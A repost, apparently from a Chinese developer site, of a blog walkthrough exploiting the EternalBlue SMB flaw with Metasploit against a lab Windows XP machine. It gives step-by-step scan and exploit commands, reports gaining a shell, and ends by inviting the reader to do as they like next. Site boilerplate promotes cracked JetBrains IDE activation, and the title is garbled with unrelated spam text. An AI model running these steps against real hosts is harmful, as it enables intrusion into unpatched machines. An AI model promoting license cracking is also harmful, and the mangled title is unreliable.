永恒之蓝漏洞原理分析_永恒之蓝是谁激活成功教程的

永恒之蓝漏洞原理分析_永恒之蓝是谁激活成功教程的本文转自行云博客https://www.xy586.top/文章目录摘要前提需要原理漏洞利用摘要什么是永恒之蓝永恒之蓝(EternalBlue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通.

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

本文转自行云博客https://www.xy586.top/

摘要

什么是永恒之蓝

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

这里说到了SMB协议,那么这又是啥玩意

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

前提需要

攻击机:192.168.232.131 (Kali安装Metaploit工具)

靶机:192.168.232.128 (windows xp未打永恒之蓝补丁且关闭防火墙)

原理

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞利用

本漏洞需要用到kali自带的Metasploit渗透工具,关于该工具的使用,之后再细讲。

Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。

该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块
(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模
块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模
块。

进入正题,打开我们的kali攻击机,启动我们的Metasploit渗透工具
msfconsole
msf框架启动
打开另一个窗口,扫描一下靶机是否开启了445端口以及查看版本信息
nmap -sV -p 445 192.168.232.128
扫描445端口信息
得到靶机的445端口信息,以及系统版本

利用msf的auxiliary模块进行漏洞验证
search ms17-010
查找永恒之蓝漏洞
这里我们可以使用auxiliary/scanner/smb/smb_ms17_010进行验证是否存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010
然后查看具体需要配置的东西
show options
漏洞利用配置
设置攻击目标及端口
set rhosts 192.168.232.128
set rport 445
配置完后使用run命令开始测试,发现可以利用该漏洞
在这里插入图片描述
现在可以利用攻击模块对其进行渗透,试了多个模块后,得出exploit/windows/smb/ms17_010_psexec该漏洞可用

开始设置靶机的ip,端口以及攻击机的ip

set rhosts 192.168.232.128
set rport 445

配置攻击

配置完输入run进行攻击
渗透成功
这里需要多试几次,可能是玄学吧,成功进入

查看系统信息
系统信息
捕捉屏幕screenshot
捕捉屏幕
反弹shell
在这里插入图片描述
后续的事情就可以自由发挥了

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/181017.html原文链接:https://javaforall.net

(0)
上一篇 2022年10月17日 下午1:16
下一篇 2022年10月17日 下午1:16


相关推荐

  • 软件测试面试题(带答案)

    软件测试面试题(带答案)1 请自我介绍一下 需简单清楚的表述自已的基本情况 在这过程中要展现出自信 对工作有激情 上进 好学 面试官您好 我叫 今年 26 岁 来自江西九江 就读专业是电子商务 毕业后就来深圳工作 有三年的软件测试工程师的经验 我性格比较开朗 能和同事小伙伴友好相处 2 平时工作中是怎么去测的 至少在这个问题中能说的出测试流程 首先根据客户需求文档提取功能模块 然后编写测试计划 提取测试点 设计测试用例 用例评审之后执行用例 提交 bug 编写测试报告 3 为什么要离开上一个公司 离职原因 你觉得

    2026年3月27日
    2
  • 浅谈快慢指针

    浅谈快慢指针快慢指针 1 快慢指针的概念 快慢指针就是存在两个指针 一个快指针 一个慢指针 两个指针每次移动的速度不一样 快的移动的快 慢的移动的慢 快慢指针中的快慢指的是移动的步长 即每次向前移动速度的快慢 例如可以让快指针每次沿链表向前移动 2 慢指针每次向前移动 1 次 2 快慢指针的应用 判断单链表是否为循环链表如果链表是单纯的环形链表我们的代码可以是这样的 boolisCLinkL List Head List p Head while p p p

    2026年3月19日
    2
  • 微博第三方登录时,域名使用错误报错, Laravel \ Socialite \ Two \ InvalidStateException No message…

    微博第三方登录时,域名使用错误报错, Laravel \ Socialite \ Two \ InvalidStateException No message…

    2021年10月25日
    46
  • 输入法个性化怎么设置_手机输入键盘怎么个性化设置

    输入法个性化怎么设置_手机输入键盘怎么个性化设置个性化设置技巧(补充输入法)子墨居士前言本次的内容大部分为推送。本打算自己推荐几款比较好用的桌面整理软件,然而最近事情越来越多,这部分的内容分享已经有很多不错的文章。就允许我偷一次懒呗(…

    2025年6月29日
    4
  • html制作进销存,手把手教你定制属于自己的进销存软件

    html制作进销存,手把手教你定制属于自己的进销存软件接着上一步的继续来更新,上一步设置了入库单和出库单的选择录入问题下面来说一下入库单和出库单的数据保存转移问题在入库单和出库单分别插入两个按钮,然后再模块里写入一下代码Sub入库单录入()a=Sheet3.Range(“a65536”).End(xlUp).RowIfSheet3.Range(“b2”)=””ThenMsgBox”请选择录入供应商名称!”ExitSubEndI…

    2022年5月31日
    45
  • 开发微信公众号步骤_微信公众平台开发

    开发微信公众号步骤_微信公众平台开发磨刀不误砍柴工微信公众号大家肯定都用过。目前微信公众号主要分为订阅号和服务号,每种账号又分为未认证和已认证,它们的差别主要在于具有不同的接口权限,下图(引用自微信开发实战系列)是一些例子:不同类型公众号的权限总体来说,服务号权限>订阅号权限,认证账号权限>未认证账号权限。申请订阅号比较简单,服务号相对复杂点,另外要认证的话还要额外提交一些材料。我们可以根据不同的业务需求去申请不同类型的账号,基本上常用的权限列表已经可以满足大部分的场景。开发微信公众号本质上和通常.

    2026年4月17日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号